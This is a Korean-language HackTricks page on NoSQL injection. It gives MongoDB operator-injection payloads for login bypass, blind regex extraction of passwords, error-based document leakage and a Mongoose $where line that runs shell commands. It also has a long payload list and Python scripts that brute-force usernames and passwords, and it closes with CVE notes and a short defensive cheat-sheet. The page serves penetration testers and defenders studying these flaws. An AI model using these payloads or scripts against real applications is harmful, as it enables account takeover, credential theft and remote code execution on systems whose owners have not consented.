NoSQL injection

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Exploit

PHP에서는 _parameter=foo_에서 _parameter[arrName]=foo_로 전송된 매개변수를 변경하여 배열을 보낼 수 있습니다.

익스플로잇은 연산자를 추가하는 데 기반합니다:

bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

기본 인증 우회

같지 않음 ($ne) 또는 큼 ($gt) 사용

bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

javascript
query = { $where: `this.username == '${username}'` }

공격자는 admin' || 'a'=='a와 같은 문자열을 입력하여 이를 악용할 수 있으며, 이는 쿼리가 자명한 조건('a'=='a')을 만족시켜 모든 문서를 반환하게 만듭니다. 이는 ' or 1=1-- -와 같은 입력을 사용하여 SQL 쿼리를 조작하는 SQL 인젝션 공격과 유사합니다. MongoDB에서는 ' || 1==1//, ' || 1==1%00, 또는 admin' || 'a'=='a와 같은 입력을 사용하여 유사한 인젝션을 수행할 수 있습니다.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

길이 정보 추출

bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

데이터 정보 추출

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP 임의 함수 실행

기본적으로 사용되는 MongoLite 라이브러리의 $func 연산자를 사용하여 이 보고서와 같이 임의의 함수를 실행할 수 있을 수 있습니다.

python
"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

다른 컬렉션에서 정보 가져오기

$lookup을 사용하여 다른 컬렉션에서 정보를 가져올 수 있습니다. 다음 예제에서는 **users**라는 다른 컬렉션에서 읽고, 와일드카드와 일치하는 비밀번호를 가진 모든 항목의 결과를 가져옵니다.

참고: $lookup 및 기타 집계 함수는 find() 또는 findOne() 함수 대신 aggregate() 함수를 사용하여 검색을 수행한 경우에만 사용할 수 있습니다.

json
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]

Error-Based Injection

throw new Error(JSON.stringify(this))$where 절에 주입하여 서버 측 JavaScript 오류를 통해 전체 문서를 유출합니다(애플리케이션이 데이터베이스 오류를 유출해야 함). 예:

json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

Recent CVEs & Real-World Exploits (2023-2025)

Rocket.Chat 인증되지 않은 블라인드 NoSQLi – CVE-2023-28359

버전 ≤ 6.0.0은 사용자 제어 selector 객체를 find()에 직접 전달하는 Meteor 메서드 listEmojiCustom을 노출했습니다. {"$where":"sleep(2000)||true"}와 같은 연산자를 주입함으로써 인증되지 않은 공격자는 타이밍 오라클을 구축하고 문서를 유출할 수 있었습니다. 이 버그는 6.0.1에서 selector 형태를 검증하고 위험한 연산자를 제거하여 패치되었습니다.

Mongoose populate().match $where RCE – CVE-2024-53900 & CVE-2025-23061

populate()match 옵션과 함께 사용될 때, Mongoose (≤ 8.8.2)는 MongoDB에 전송하기 전에 객체를 그대로 복사했습니다. 따라서 $where를 제공하면 서버 측 JS가 MongoDB에서 비활성화되어 있어도 JavaScript가 Node.js 내부에서 실행되었습니다:

js
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author });   // RCE

첫 번째 패치(8.8.3)는 최상위 $where를 차단했지만, $or 아래에 중첩시키면 필터를 우회할 수 있어 CVE-2025-23061로 이어졌습니다. 이 문제는 8.9.5에서 완전히 수정되었고, 새로운 연결 옵션 sanitizeFilter: true가 도입되었습니다.

GraphQL → Mongo 필터 혼란

args.filtercollection.find()에 직접 전달하는 리졸버는 여전히 취약합니다:

graphql
query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

Mitigations: $로 시작하는 키를 재귀적으로 제거하거나, 허용된 연산자를 명시적으로 매핑하거나, 스키마 라이브러리(Joi, Zod)로 검증합니다.

Defensive Cheat-Sheet (updated 2025)

  1. $로 시작하는 키는 제거하거나 거부합니다 (express-mongo-sanitize, mongo-sanitize, Mongoose sanitizeFilter:true).
  2. 자체 호스팅된 MongoDB에서 서버 측 JavaScript를 비활성화합니다 (--noscripting, v7.0+에서 기본값).
  3. $where 대신 $expr 및 집계 빌더를 선호합니다.
  4. 데이터 유형을 조기에 검증합니다 (Joi/Ajv) 및 스칼라가 예상되는 곳에서 배열을 허용하지 않아 [$ne] 트릭을 피합니다.
  5. GraphQL의 경우, 허용 목록을 통해 필터 인수를 변환합니다; 신뢰할 수 없는 객체를 절대 전파하지 마십시오.

MongoDB Payloads

List from here

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

블라인드 NoSQL 스크립트

python
import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

POST 로그인에서 사용자 이름과 비밀번호에 대한 무차별 대입 로그인

이것은 수정할 수 있는 간단한 스크립트이지만 이전 도구들도 이 작업을 수행할 수 있습니다.

python
import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

도구

참고문헌

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기